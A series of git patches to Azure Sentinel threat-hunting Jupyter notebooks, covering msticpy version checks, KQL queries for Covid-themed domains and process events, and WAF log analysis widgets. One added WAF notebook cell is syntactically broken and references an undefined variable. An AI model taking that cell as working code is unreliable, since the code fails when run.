Notebooks.ipynb index 60bb222..a5804c9 100644 --- a/A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb +++ b/A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb @@ -138,11 +138,12 @@ "\r\n", "REQ_PYTHON_VER=(3, 6)\r\n", "REQ_MSTICPY_VER=(1, 0, 0)\r\n", + "REQ_MP_EXTRAS=[\"Azure\"]\r\n", "\r\n", "display(HTML(\"

Starting Notebook setup...

\"))\r\n", "if Path(\"./utils/nb_check.py\").is_file():\r\n", " from utils.nb_check import check_versions\r\n", - " check_versions(REQ_PYTHON_VER, REQ_MSTICPY_VER, extras=[\"Azure\"])\r\n", + " check_versions(REQ_PYTHON_VER, REQ_MSTICPY_VER, REQ_MP_EXTRAS)\r\n", " \r\n", "from msticpy.nbtools import nbinit\r\n", "nbinit.init_notebook(\r\n", @@ -967,21 +968,12 @@ "metadata": { "hide_input": false, "kernelspec": { - "display_name": "Python (condadev)", - "language": "python", - "name": "condadev" + "display_name": "Python 3.6.10 64-bit ('Dev36': conda)", + "name": "python3610jvsc74a57bd0eec69deb3bab9f02a3e61673e87704ade89b113db30d8e00ac867bc872c8dbc5" }, "language_info": { - "codemirror_mode": { - "name": "ipython", - "version": 3 - }, - "file_extension": ".py", - "mimetype": "text/x-python", "name": "python", - "nbconvert_exporter": "python", - "pygments_lexer": "ipython3", - "version": "3.7.9" + "version": "" }, "toc": { "base_numbering": 1, diff --git a/Guided Hunting - Covid-19 Themed Threats.ipynb b/Guided Hunting - Covid-19 Themed Threats.ipynb index b40ea79..865be64 100644 --- a/Guided Hunting - Covid-19 Themed Threats.ipynb +++ b/Guided Hunting - Covid-19 Themed Threats.ipynb @@ -39,42 +39,43 @@ "metadata": {}, "outputs": [], "source": [ - "from pathlib import Path\n", - "from IPython.display import display, HTML\n", - "\n", - "REQ_PYTHON_VER=(3, 6)\n", - "REQ_MSTICPY_VER=(1, 0, 0)\n", - "REQ_MP_EXTRAS = [\"ml\"]\n", - "\n", - "display(HTML(\"

Starting Notebook setup...

\"))\n", - "if Path(\"./utils/nb_check.py\").is_file():\n", - " from utils.nb_check import check_versions\n", - " check_versions(REQ_PYTHON_VER, REQ_MSTICPY_VER, REQ_MP_EXTRAS)\n", - "\n", - "\n", - "# If not using Azure Notebooks, install msticpy with\n", - "# !pip install msticpy\n", - "from msticpy.nbtools import nbinit\n", - "extra_imports = [\n", - " \"tqdm.notebook, tqdm\",\n", - " \"whois\",\n", - " \"dns\",\n", - " \"tldextract\",\n", - " \"datetime\",\n", - " \"msticpy.nbtools.foliummap, get_map_center\",\n", - " \"msticpy.nbtools.foliummap, get_center_ip_entities\",\n", - " \"functools, lru_cache\",\n", - "]\n", - "\n", - "additional_packages = [\n", - " \"tldextract\", \"IPWhois\", \"python-whois\"\n", - "]\n", - "nbinit.init_notebook(\n", - " namespace=globals(),\n", - " additional_packages=additional_packages,\n", - " extra_imports=extra_imports,\n", - ");\n", - "\n", + "from pathlib import Path\r\n", + "from IPython.display import display, HTML\r\n", + "\r\n", + "REQ_PYTHON_VER=(3, 6)\r\n", + "REQ_MSTICPY_VER=(1, 0, 0)\r\n", + "REQ_MP_EXTRAS = [\"ml\"]\r\n", + "\r\n", + "display(HTML(\"

Starting Notebook setup...

\"))\r\n", + "if Path(\"./utils/nb_check.py\").is_file():\r\n", + " from utils.nb_check import check_versions\r\n", + " check_versions(REQ_PYTHON_VER, REQ_MSTICPY_VER, REQ_MP_EXTRAS)\r\n", + "\r\n", + "\r\n", + "# If not using Azure Notebooks, install msticpy with\r\n", + "# !pip install msticpy\r\n", + "from msticpy.nbtools import nbinit\r\n", + "extra_imports = [\r\n", + " \"tqdm.notebook, tqdm\",\r\n", + " \"whois\",\r\n", + " \"dns\",\r\n", + " \"tldextract\",\r\n", + " \"datetime\",\r\n", + " \"msticpy.nbtools.foliummap, get_map_center\",\r\n", + " \"msticpy.nbtools.foliummap, get_center_ip_entities\",\r\n", + " \"msticpy.sectools.ip_utils, convert_to_ip_entities\",\r\n", + " \"functools, lru_cache\",\r\n", + "]\r\n", + "\r\n", + "additional_packages = [\r\n", + " \"tldextract\", \"IPWhois\", \"python-whois\"\r\n", + "]\r\n", + "nbinit.init_notebook(\r\n", + " namespace=globals(),\r\n", + " additional_packages=additional_packages,\r\n", + " extra_imports=extra_imports,\r\n", + ");\r\n", + "\r\n", "from bokeh.plotting import figure" ] }, @@ -134,27 +135,19 @@ "metadata": {}, "outputs": [], "source": [ - "start = query_times.start\n", - "end = query_times.end" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "# Get Covid-19 related URLs from Network Logs\n", - "url_q = f\"\"\"\n", - "CommonSecurityLog\n", - "| where TimeGenerated between (datetime({start})..datetime({end}))\n", - "| extend Url = iif(isnotempty(RequestURL), RequestURL , iif(isnotempty(DestinationHostName), DestinationHostName, \"None\"))\n", - "| where Url != \"None\" \n", - "| distinct Url\n", - "| where tolower(Url) matches regex(\"(?i)(covid|corona.*virus)\")\n", - "\"\"\"\n", - "print(\"Collecting data...\")\n", - "url_data = qry_prov.exec_query(url_q)\n", + "start = query_times.start\r\n", + "end = query_times.end\r\n", + "# Get Covid-19 related URLs from Network Logs\r\n", + "url_q = f\"\"\"\r\n", + "CommonSecurityLog\r\n", + "| where TimeGenerated between (datetime({start})..datetime({end}))\r\n", + "| extend Url = iif(isnotempty(RequestURL), RequestURL , iif(isnotempty(DestinationHostName), DestinationHostName, \"None\"))\r\n", + "| where Url != \"None\" \r\n", + "| distinct Url\r\n", + "| where tolower(Url) matches regex(\"(?i)(covid|corona.*virus)\")\r\n", + "\"\"\"\r\n", + "print(\"Collecting data...\")\r\n", + "url_data = qry_prov.exec_query(url_q)\r\n", "print(\"Done\")" ] }, @@ -164,32 +157,32 @@ "metadata": {}, "outputs": [], "source": [ - "@lru_cache(maxsize=5000)\n", - "def get_domain(url):\n", - " try:\n", - " _, domain,tld = tldextract.extract(url)\n", - " return f\"{domain}.{tld}\"\n", - " except:\n", - " return None\n", - "\n", - "@lru_cache(maxsize=5000)\n", - "def whois_url(dom):\n", - " try:\n", - " wis = whois.whois(dom)\n", - " return wis['creation_date']\n", - " except:\n", - " return None\n", - "\n", - "tqdm.pandas(desc=\"Lookup progress\")\n", - "\n", - "if isinstance(url_data, pd.DataFrame) and not url_data.empty:\n", - " md(\"Extracting domains\")\n", - " url_data['domain'] = url_data['Url'].progress_apply(get_domain)\n", - " url_data = url_data['domain'].drop_duplicates().reset_index().drop(['index'], axis=1)\n", - " md(\"Getting domain registration dates for {len(url_data)} unique domains\")\n", - " md(\"This can take a while for large numbers of domains ~ 100 domains/min\")\n", - " url_data['creation_date'] = url_data['domain'].progress_apply(whois_url)\n", - "else:\n", + "@lru_cache(maxsize=5000)\r\n", + "def get_domain(url):\r\n", + " try:\r\n", + " _, domain,tld = tldextract.extract(url)\r\n", + " return f\"{domain}.{tld}\"\r\n", + " except:\r\n", + " return None\r\n", + "\r\n", + "@lru_cache(maxsize=5000)\r\n", + "def whois_url(dom):\r\n", + " try:\r\n", + " wis = whois.whois(dom)\r\n", + " return wis['creation_date']\r\n", + " except:\r\n", + " return None\r\n", + "\r\n", + "tqdm.pandas(desc=\"Lookup progress\")\r\n", + "\r\n", + "if isinstance(url_data, pd.DataFrame) and not url_data.empty:\r\n", + " md(\"Extracting domains\")\r\n", + " url_data['domain'] = url_data['Url'].progress_apply(get_domain)\r\n", + " url_data = url_data['domain'].drop_duplicates().reset_index().drop(['index'], axis=1)\r\n", + " md(f\"Getting domain registration dates for {len(url_data)} unique domains\")\r\n", + " md(\"This can take a while for large numbers of domains ~ 100 domains/min\")\r\n", + " url_data['creation_date'] = url_data['domain'].progress_apply(whois_url)\r\n", + "else:\r\n", " md(\"No matches found.\")" ] }, @@ -604,22 +597,22 @@ "metadata": {}, "outputs": [], "source": [ - "if cmd_lines:\n", - " cmd_line_clean = cmd_line.value.replace('\\\\', \"\\\\\\\\\")\n", - " cmd_line_q = f\"\"\"\n", - " SecurityEvent\n", - " | where TimeGenerated between (datetime({start})..datetime({end}))\n", - " | where EventID == 4688\n", - " | where CommandLine == '{cmd_line_clean}'\n", - " \"\"\"\n", - "\n", - " cmd_line_events = qry_prov.exec_query(cmd_line_q)\n", - "\n", - " if isinstance(cmd_line_events, pd.DataFrame) and not cmd_line_events.empty:\n", - " display(cmd_line_events)\n", - " else:\n", - " md(\"No events found\")\n", - "else:\n", + "if cmd_lines:\r\n", + " cmd_line_clean = cmd_line.value.replace('\\\\', \"\\\\\\\\\")\r\n", + " cmd_line_q = f\"\"\"\r\n", + " SecurityEvent\r\n", + " | where TimeGenerated between (datetime({start})..datetime({end}))\r\n", + " | where EventID == 4688\r\n", + " | where CommandLine == \"{cmd_line_clean}\"\r\n", + " \"\"\"\r\n", + "\r\n", + " cmd_line_events = qry_prov.exec_query(cmd_line_q)\r\n", + "\r\n", + " if isinstance(cmd_line_events, pd.DataFrame) and not cmd_line_events.empty:\r\n", + " display(cmd_line_events)\r\n", + " else:\r\n", + " md(\"No events found\")\r\n", + "else:\r\n", " md(\"No Covid related process data found\")" ] }, @@ -674,9 +667,8 @@ "metadata": { "hide_input": false, "kernelspec": { - "display_name": "Python 3.6", - "language": "python", - "name": "python36" + "display_name": "Python 3.6.10 64-bit ('Dev36': conda)", + "name": "python3610jvsc74a57bd0eec69deb3bab9f02a3e61673e87704ade89b113db30d8e00ac867bc872c8dbc5" }, "language_info": { "codemirror_mode": { @@ -688,7 +680,7 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.6.7" + "version": "3.6.10" }, "latex_envs": { "LaTeX_envs_menu_present": true, From 0340d0943771e5979691155bde6a6d44fc02350c Mon Sep 17 00:00:00 2001 From: Ian Hellen Date: Thu, 8 Apr 2021 18:41:00 -0700 Subject: [PATCH 11/23] Updating some text and pip arguments to avoid excessive output - nb_check.py --- utils/nb_check.py | 41 ++++++++++++++++++++++++++++++----------- 1 file changed, 30 insertions(+), 11 deletions(-) diff --git a/utils/nb_check.py b/utils/nb_check.py index b4aacb9..1878d63 100644 --- a/utils/nb_check.py +++ b/utils/nb_check.py @@ -27,12 +27,18 @@ Please install or upgrade before continuing: required version is {package}>={req_ver} """ MP_INSTALL_FAILED = """ -

The notebook cannot be run without +

The notebook may not run correctly without the correct version of '{pkg}' ({ver} or later).

Please see the Getting Started Guide For Azure Sentinel ML Notebooks for more information
""" +RELOAD_MP = """ +

Kernel restart needed

+ An error was detected trying to load the updated version of MSTICPy.
+ Please restart the notebook kernel and re-run this cell - it should + run without error. + """ MIN_PYTHON_VER_DEF = (3, 6) MSTICPY_REQ_VERSION = (0, 9, 0) VER_RGX = r"(?P\d+)\.(?P\d+).(?P\d+)(?P.*)" @@ -43,6 +49,7 @@ def check_versions( min_mp_ver=MSTICPY_REQ_VERSION, extras=None, mp_release=None, + pip_quiet=True ): """ Check the current versions of the Python kernel and MSTICPy. @@ -53,11 +60,14 @@ def check_versions( Minimum Python version min_mp_ver : Union[Tuple[int, int], str] Minimum MSTICPy version - extras : Optional[List[str]] + extras : Optional[List[str]], optional A list of extras required for MSTICPy - mp_release : Optional[str] + mp_release : Optional[str], optional Override the MSTICPy release version. This can also be specified in the environment variable 'MP_TEST_VER' + pip_quiet : bool, optional + If True (default) will suppress all output from pip except + warnings and errors. False will display normal output. Raises ------ @@ -67,8 +77,8 @@ def check_versions( and the user chose not to upgrade """ - print("Note: you may need to scroll down this cell to see the full output.") - + _disp_html("Note: you may need to scroll down this cell to see the full output.") + _disp_html("

Starting notebook pre-checks...

") if isinstance(min_py_ver, str): min_py_ver = _get_pkg_version(min_py_ver).release check_python_ver(min_py_ver=min_py_ver) @@ -88,27 +98,33 @@ def check_versions( mp_install_version=mp_install_version, exact_version=exact_version, extras=extras, + quiet=pip_quiet, ) except ImportError: _install_mp( mp_install_version=mp_install_version, exact_version=exact_version, extras=extras, + quiet=pip_quiet, ) _disp_html( "Installation completed. Attempting to re-import/reload MSTICPy..." ) # pylint: disable=unused-import, import-outside-toplevel if "msticpy" in sys.modules: - importlib.reload(sys.modules["msticpy"]) + try: + importlib.reload(sys.modules["msticpy"]) + except ImportError: + _disp_html(RELOAD_MP) else: import msticpy # pylint: enable=unused-import, import-outside-toplevel check_mp_ver(min_msticpy_ver=mp_install_version) except RuntimeError: - _disp_html("Installation aborted.") + _disp_html("Installation skipped.") _set_kql_env_vars(extras) + _disp_html("

Notebook pre-checks complete.

") def check_python_ver(min_py_ver=MIN_PYTHON_VER_DEF): @@ -146,8 +162,9 @@ def check_python_ver(min_py_ver=MIN_PYTHON_VER_DEF): raise RuntimeError("Python %s.%s or later kernel is required." % min_py_ver) if sys.version_info < (3, 8, 0): - display( - "Recommended: switch to using the 'Python 3.8 -AzureML' notebook kernel." + _disp_html( + "Recommended: switch to using the 'Python 3.8 - AzureML' notebook kernel" + " if this is available." ) _disp_html( "Info: Python kernel version %s.%s.%s OK
" @@ -212,9 +229,11 @@ def check_mp_ver(min_msticpy_ver=MSTICPY_REQ_VERSION): _disp_html(f"Info: msticpy version {mp_min_pkg_ver} OK
") -def _install_mp(mp_install_version, exact_version, extras): +def _install_mp(mp_install_version, exact_version, extras, quiet=True): """Try to install MSTICPY.""" - sp_args = ["install"] + sp_args = ["install", "--no-input"] + if quiet: + sp_args.append("--quiet") pkg_op = "==" if exact_version else ">=" mp_pkg_spec = f"msticpy[{','.join(extras)}]" if extras else "msticpy" mp_pkg_spec = f"{mp_pkg_spec}{pkg_op}{mp_install_version}" From 666d6baf8021b55d9913d7c668d339f277a6a999 Mon Sep 17 00:00:00 2001 From: Pete Bryan Date: Fri, 9 Apr 2021 09:58:16 -0700 Subject: [PATCH 12/23] Solarwinds fix --- ... Solarwinds Post Compromise Activity.ipynb | 20 ++++++------------- 1 file changed, 6 insertions(+), 14 deletions(-) diff --git a/Guided Investigation - Solarwinds Post Compromise Activity.ipynb b/Guided Investigation - Solarwinds Post Compromise Activity.ipynb index e64c88b..f4566f9 100644 --- a/Guided Investigation - Solarwinds Post Compromise Activity.ipynb +++ b/Guided Investigation - Solarwinds Post Compromise Activity.ipynb @@ -258,11 +258,11 @@ }, "outputs": [], "source": [ - "def_path = Path.joinpath(Path(os.getcwd()))\n", - "path_wgt = widgets.Text(value=str(def_path), \n", - " description='Path to extract to zipped repo files: ', \n", - " layout=Layout(width='50%'),\n", - " style={'description_width': 'initial'})\n", + "def_path = Path.joinpath(Path(os.getcwd()))\r\n", + "path_wgt = widgets.Text(value=str(def_path), \r\n", + " description='Path to extract to zipped repo files: ', \r\n", + " layout=widgets.Layout(width='50%'),\r\n", + " style={'description_width': 'initial'})\r\n", "path_wgt" ] }, @@ -1017,16 +1017,8 @@ "name": "python3" }, "language_info": { - "codemirror_mode": { - "name": "ipython", - "version": 3 - }, - "file_extension": ".py", - "mimetype": "text/x-python", "name": "python", - "nbconvert_exporter": "python", - "pygments_lexer": "ipython3", - "version": "3.7.6" + "version": "" }, "toc": { "base_numbering": 1, From 8e31c53abed0433f4377b21fb9cb957ddfdb3df1 Mon Sep 17 00:00:00 2001 From: Pete Bryan Date: Fri, 9 Apr 2021 17:35:56 -0700 Subject: [PATCH 13/23] WAF update --- Guided Investigation - WAF data.ipynb | 444 ++++++++++++++------------ 1 file changed, 246 insertions(+), 198 deletions(-) diff --git a/Guided Investigation - WAF data.ipynb b/Guided Investigation - WAF data.ipynb index 9273694..4462dab 100644 --- a/Guided Investigation - WAF data.ipynb +++ b/Guided Investigation - WAF data.ipynb @@ -88,57 +88,57 @@ "metadata": {}, "outputs": [], "source": [ - "from pathlib import Path\n", - "import os\n", - "import sys\n", - "from pathlib import Path\n", - "from IPython.display import display, HTML\n", - "\n", - "REQ_PYTHON_VER=(3, 6)\n", - "REQ_MSTICPY_VER=(1, 0, 0)\n", - "REQ_MP_EXTRAS = [\"ml, kql\"]\n", - "\n", - "display(HTML(\"

Starting Notebook setup...

\"))\n", - "if Path(\"./utils/nb_check.py\").is_file():\n", - " from utils.nb_check import check_versions\n", - " check_versions(REQ_PYTHON_VER, REQ_MSTICPY_VER, REQ_MP_EXTRAS)\n", - "\n", - " \n", - "# If not using Azure Notebooks, install msticpy with\n", - "# !pip install msticpy\n", - "from msticpy.nbtools import nbinit\n", - "nbinit.init_notebook(\n", - " namespace=globals()\n", - " additional_packages=[\"adjustText\", \"plotly\"]\n", - ");\n", - "\n", - "from ipywidgets import widgets, interactive\n", - "import plotly.graph_objects as go\n", - "import plotly.express as px\n", - "import re\n", - "from sklearn.feature_extraction.text import TfidfVectorizer\n", - "\n", - "%matplotlib inline\n", - "\n", - "from sklearn.cluster import KMeans\n", - "from sklearn import metrics\n", - "from sklearn.cluster import DBSCAN\n", - "from sklearn.decomposition import PCA\n", - "from adjustText import adjust_text\n", - "import itertools\n", - "import ipaddress\n", - "import traceback\n", - "\n", - "pd.set_option('display.max_rows', 100)\n", - "pd.set_option('display.max_columns', 50)\n", - "pd.set_option('display.max_colwidth', 40)\n", - "pd.set_option('display.max_colwidth', None)\n", - "\n", - "layout = widgets.Layout(width=\"50%\", height=\"80px\")\n", - "style = {\"description_width\": \"200px\"}\n", - "\n", - "class color:\n", - " BOLD = '\\033[1m'\n", + "from pathlib import Path\r\n", + "import os\r\n", + "import sys\r\n", + "from pathlib import Path\r\n", + "from IPython.display import display, HTML\r\n", + "\r\n", + "REQ_PYTHON_VER=(3, 6)\r\n", + "REQ_MSTICPY_VER=(1, 0, 0)\r\n", + "REQ_MP_EXTRAS = [\"ml\", \"kql\"]\r\n", + "\r\n", + "display(HTML(\"

Starting Notebook setup...

\"))\r\n", + "if Path(\"./utils/nb_check.py\").is_file():\r\n", + " from utils.nb_check import check_versions\r\n", + " check_versions(REQ_PYTHON_VER, REQ_MSTICPY_VER, REQ_MP_EXTRAS)\r\n", + "\r\n", + " \r\n", + "# If not using Azure Notebooks, install msticpy with\r\n", + "# !pip install msticpy\r\n", + "from msticpy.nbtools import nbinit\r\n", + "nbinit.init_notebook(\r\n", + " namespace=globals(),\r\n", + " additional_packages=[\"adjustText\", \"plotly\"]\r\n", + ");\r\n", + "\r\n", + "from ipywidgets import widgets\r\n", + "import plotly.graph_objects as go\r\n", + "import plotly.express as px\r\n", + "import re\r\n", + "from sklearn.feature_extraction.text import TfidfVectorizer\r\n", + "\r\n", + "%matplotlib inline\r\n", + "\r\n", + "from sklearn.cluster import KMeans\r\n", + "from sklearn import metrics\r\n", + "from sklearn.cluster import DBSCAN\r\n", + "from sklearn.decomposition import PCA\r\n", + "from adjustText import adjust_text\r\n", + "import itertools\r\n", + "import ipaddress\r\n", + "import traceback\r\n", + "\r\n", + "pd.set_option('display.max_rows', 100)\r\n", + "pd.set_option('display.max_columns', 50)\r\n", + "pd.set_option('display.max_colwidth', 40)\r\n", + "pd.set_option('display.max_colwidth', None)\r\n", + "\r\n", + "layout = widgets.Layout(width=\"50%\", height=\"80px\")\r\n", + "style = {\"description_width\": \"200px\"}\r\n", + "\r\n", + "class color:\r\n", + " BOLD = '\\033[1m'\r\n", " END = '\\033[0m'" ] }, @@ -365,31 +365,40 @@ } ], "source": [ - "categories = ['ApplicationGatewayAccessLog', 'ApplicationGatewayFirewallLog']\n", - "\n", - "def viewLogs(category):\n", - " log_alert_query = '''\n", - " AzureDiagnostics\n", - " | where TimeGenerated between (datetime({startTime}).. datetime({endTime}))\n", - " | where Category == \"{category}\"\n", - " | where action_s == 'Blocked' or isempty(action_s)\n", - " | summarize NoOfAlerts= count() by bin(timeStamp_t, {binInterval})\n", - " | render timechart '''.format(startTime = query_times_1.start, endTime = query_times_1.end, category = category, binInterval = '1h')\n", - "\n", - " %kql -query log_alert_query\n", - " \n", - " rawDataQuery = \"\"\"\n", - " AzureDiagnostics\n", - " | where TimeGenerated between (datetime({startTime}).. datetime({endTime}))\n", - " | where Category == '{category}'\n", - " | where action_s == 'Blocked' or isempty(action_s)\n", - " | take 15\n", - " \"\"\".format(startTime = query_times_1.start, endTime = query_times_1.end, category = category)\n", - "\n", - " display(showQuery(rawDataQuery).head(5))\n", - " \n", - "w = interactive(viewLogs, category = widgets.Select(options = categories, style = style, layout = layout, description = 'Choose logs/alerts: '))\n", - "display(w)" + "categories = ['ApplicationGatewayAccessLog', 'ApplicationGatewayFirewallLog']\r\n", + "\r\n", + "def viewLogs(category):\r\n", + " log_alert_query = '''\r\n", + " AzureDiagnostics\r\n", + " | where TimeGenerated between (datetime({startTime}).. datetime({endTime}))\r\n", + " | where Category == \"{category}\"\r\n", + " | where action_s == 'Blocked' or isempty(action_s)\r\n", + " | summarize NoOfAlerts= count() by bin(timeStamp_t, {binInterval})\r\n", + " | render timechart '''.format(startTime = query_times_1.start, endTime = query_times_1.end, category = category, binInterval = '1h')\r\n", + "\r\n", + " %kql -query log_alert_query\r\n", + " \r\n", + " rawDataQuery = \"\"\"\r\n", + " AzureDiagnostics\r\n", + " | where TimeGenerated between (datetime({startTime}).. datetime({endTime}))\r\n", + " | where Category == '{category}'\r\n", + " | where action_s == 'Blocked' or isempty(action_s)\r\n", + " | take 15\r\n", + " \"\"\".format(startTime = query_times_1.start, endTime = query_times_1.end, category = category)\r\n", + "\r\n", + " display(showQuery(rawDataQuery).head(5))\r\n", + "\r\n", + "category = widgets.Select(options = categories, style = style, layout = layout, description = 'Choose logs/alerts: ')\r\n", + "display(category) " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "viewLogs(category = category.value)" ] }, { @@ -2133,38 +2142,54 @@ } ], "source": [ - "options = ['Ip Address', 'Rule ID']\n", - "if 'Http status' in df_distribution.columns:\n", - " options += ['Http status']\n", - "\n", - "def viewBalloonPlot(x_axis, y_axis, display_rawResult):\n", - " try: \n", - " df_balloon_plot = (df_distribution\n", - " .groupby([x_axis, y_axis], as_index=False)\n", - " .agg({'NoOfAlerts': sum, 'DistinctURIs': sum, 'Request Uris': list})\n", - " .reset_index(drop = True))\n", - " fig = px.scatter(df_balloon_plot, x=df_balloon_plot[x_axis], y = df_balloon_plot[y_axis], \n", - " size= np.log(1 + df_balloon_plot['NoOfAlerts'] ), color = 'NoOfAlerts',\n", - " hover_data=['NoOfAlerts', 'DistinctURIs']) \n", - "\n", - " fig.update_layout(height = max(300, 30 * len(set(df_balloon_plot[y_axis]))), title_text='Alert Distribution for host ID '+ str(hosts.value))\n", - "\n", - " fig.show()\n", - " if display_rawResult == 'Yes':\n", - " print('Top 5 raw results with the highest number of alerts: \\n')\n", - " df_balloon_plot['Request Uris'] = [np.unique(list(itertools.chain(*row['Request Uris']))) for index, row in df_balloon_plot.iterrows() ]\n", - " df_balloon_plot['DistinctURIs'] = df_balloon_plot['Request Uris'].str.len()\n", - " display(df_balloon_plot[[y_axis, x_axis, 'NoOfAlerts','Request Uris', 'DistinctURIs']].sort_values(by='NoOfAlerts', ascending = False).head(5))\n", - " except ValueError:\n", - " print('ValueError: Choose distinct x and y axes')\n", - " except Exception as e:\n", - " print('Error: ' + e)\n", - " traceback.print_exc()\n", - " \n", - "\n", - "w = interactive(viewBalloonPlot, x_axis = widgets.Select(options = options, style = style, layout = layout, description = 'Select x-axis: '), \n", - " y_axis = widgets.Select(options = options, style = style, layout = layout, description = 'Select y-axis: '), display_rawResult = widgets.Select(options = ['Yes', 'No'], style = style, layout = layout, description = 'Display raw result?: '))\n", - "\n", + "options = ['Ip Address', 'Rule ID']\r\n", + "if 'Http status' in df_distribution.columns:\r\n", + " options += ['Http status']\r\n", + "\r\n", + "def viewBalloonPlot(x_axis, y_axis, display_rawResult):\r\n", + " try: \r\n", + " df_balloon_plot = (df_distribution\r\n", + " .groupby([x_axis, y_axis], as_index=False)\r\n", + " .agg({'NoOfAlerts': sum, 'DistinctURIs': sum, 'Request Uris': list})\r\n", + " .reset_index(drop = True))\r\n", + " fig = px.scatter(df_balloon_plot, x=df_balloon_plot[x_axis], y = df_balloon_plot[y_axis], \r\n", + " size= np.log(1 + df_balloon_plot['NoOfAlerts'] ), color = 'NoOfAlerts',\r\n", + " hover_data=['NoOfAlerts', 'DistinctURIs']) \r\n", + "\r\n", + " fig.update_layout(height = max(300, 30 * len(set(df_balloon_plot[y_axis]))), title_text='Alert Distribution for host ID '+ str(hosts.value))\r\n", + "\r\n", + " fig.show()\r\n", + " if display_rawResult == 'Yes':\r\n", + " print('Top 5 raw results with the highest number of alerts: \\n')\r\n", + " df_balloon_plot['Request Uris'] = [np.unique(list(itertools.chain(*row['Request Uris']))) for index, row in df_balloon_plot.iterrows() ]\r\n", + " df_balloon_plot['DistinctURIs'] = df_balloon_plot['Request Uris'].str.len()\r\n", + " display(df_balloon_plot[[y_axis, x_axis, 'NoOfAlerts','Request Uris', 'DistinctURIs']].sort_values(by='NoOfAlerts', ascending = False).head(5))\r\n", + " except ValueError:\r\n", + " print('ValueError: Choose distinct x and y axes')\r\n", + " except Exception as e:\r\n", + " print('Error: ' + e)\r\n", + " traceback.print_exc()\r\n", + " \r\n", + "\r\n", + "x_axis = widgets.Select(options = options, style = style, layout = layout, description = 'Select x-axis: ')\r\n", + "y_axis = widgets.Select(options = options, style = style, layout = layout, description = 'Select y-axis: ')\r\n", + "display_rawResult = widgets.Select(options = ['Yes', 'No'], description = 'Display raw results: ')\r\n", + "\r\n", + "md(\"Select graph properties:\", \"bold\")\r\n", + "display(x_axis)\r\n", + "display(y_axis)\r\n", + "display(display_rawResult)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "viewBalloonPlot, x_axis = x_axis.value, \r\n", + " y_axis = y_axis.value, display_rawResult = display_rawResult.value)\r\n", + "\r\n", "display(w)" ] }, @@ -3211,33 +3236,42 @@ } ], "source": [ - "options = ['RuleId', 'SplitUris']\n", - "\n", - "def visualiseTFIDF(TfidfCategory):\n", - " try:\n", - " max_category = 30\n", - " df = pd.DataFrame()\n", - " if TfidfCategory == 'RuleId': df = df_ruleId_tfidf.copy()\n", - " else: \n", - " df = df_splitUri_tfidf.copy()\n", - "\n", - " df_tfidf = df.iloc[:, : max_category].stack().reset_index(drop = False).rename(columns = {'level_1':TfidfCategory, 'weight':'tfidf'})\n", - " df_tfidf['Ip Address'] = 'Ip ' + df_tfidf['Ip Address'].astype(str)\n", - " if 'RuleId' == TfidfCategory: \n", - " df_tfidf['RuleId'] = 'rID ' + df_tfidf['RuleId'].astype(str)\n", - " else:\n", - " df_tfidf['SplitUris'] = df_tfidf['SplitUris'].apply(lambda x: (x[0:20]+ '...') if len(x)> 20 else x)\n", - " \n", - " fig = px.scatter(df_tfidf, x = df_tfidf[TfidfCategory], y = df_tfidf['Ip Address'],\n", - " size= np.log(1 + df_tfidf['tfidf']), color = df_tfidf['tfidf'],\n", - " hover_data=[df_tfidf['tfidf']]) \n", - " fig.update_layout(height = max(800, 20 * len(set(df_tfidf[TfidfCategory]))), title_text= 'TFIDF distribution of ' + TfidfCategory + ' against client IPs', width = 1700)\n", - " fig.show()\n", - " except Exception as e:\n", - " print('Error: ' + e)\n", - " traceback.print_exc()\n", - " \n", - "display(interactive(visualiseTFIDF, TfidfCategory = widgets.Select(options = options, style = style, layout = layout, description = 'TFIDF approach: ')))" + "options = ['RuleId', 'SplitUris']\r\n", + "\r\n", + "def visualiseTFIDF(TfidfCategory):\r\n", + " try:\r\n", + " max_category = 30\r\n", + " df = pd.DataFrame()\r\n", + " if TfidfCategory == 'RuleId': df = df_ruleId_tfidf.copy()\r\n", + " else: \r\n", + " df = df_splitUri_tfidf.copy()\r\n", + "\r\n", + " df_tfidf = df.iloc[:, : max_category].stack().reset_index(drop = False).rename(columns = {'level_1':TfidfCategory, 'weight':'tfidf'})\r\n", + " df_tfidf['Ip Address'] = 'Ip ' + df_tfidf['Ip Address'].astype(str)\r\n", + " if 'RuleId' == TfidfCategory: \r\n", + " df_tfidf['RuleId'] = 'rID ' + df_tfidf['RuleId'].astype(str)\r\n", + " else:\r\n", + " df_tfidf['SplitUris'] = df_tfidf['SplitUris'].apply(lambda x: (x[0:20]+ '...') if len(x)> 20 else x)\r\n", + " \r\n", + " fig = px.scatter(df_tfidf, x = df_tfidf[TfidfCategory], y = df_tfidf['Ip Address'],\r\n", + " size= np.log(1 + df_tfidf['tfidf']), color = df_tfidf['tfidf'],\r\n", + " hover_data=[df_tfidf['tfidf']]) \r\n", + " fig.update_layout(height = max(800, 20 * len(set(df_tfidf[TfidfCategory]))), title_text= 'TFIDF distribution of ' + TfidfCategory + ' against client IPs', width = 1700)\r\n", + " fig.show()\r\n", + " except Exception as e:\r\n", + " print('Error: ' + e)\r\n", + " traceback.print_exc()\r\n", + "TfidfCategory = widgets.Select(options = options, style = style, layout = layout, description = 'TFIDF approach: ')\r\n", + "display(TfidfCategory)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "visualiseTFIDF(TfidfCategory = TfidfCategory.value)" ] }, { @@ -3385,25 +3419,35 @@ } ], "source": [ - "options1 = ['RuleId', 'SplitUris']\n", - "\n", - "def viewPCA(tfidfCategory):\n", - " df = df_splitUri_tfidf.copy()\n", - " viewData = viewData_splitUri.copy()\n", - " if tfidfCategory == 'RuleId': \n", - " df = df_ruleId_tfidf.copy()\n", - " viewData = viewData_ruleId.copy()\n", - "\n", - " print(tfidfCategory + ' approach (Outliers + Clustered request URI data): \\n')\n", - " while True:\n", - " try:\n", - " principal_component_analysis(df)\n", - " break\n", - " except:\n", - " continue\n", - " \n", - "print(color.BOLD + 'Principal Component Analysis \\n' + color.END)\n", - "display(interactive(viewPCA, tfidfCategory = widgets.Select(options = options1, style = style, layout = layout, description = 'TFIDF approach: '))) 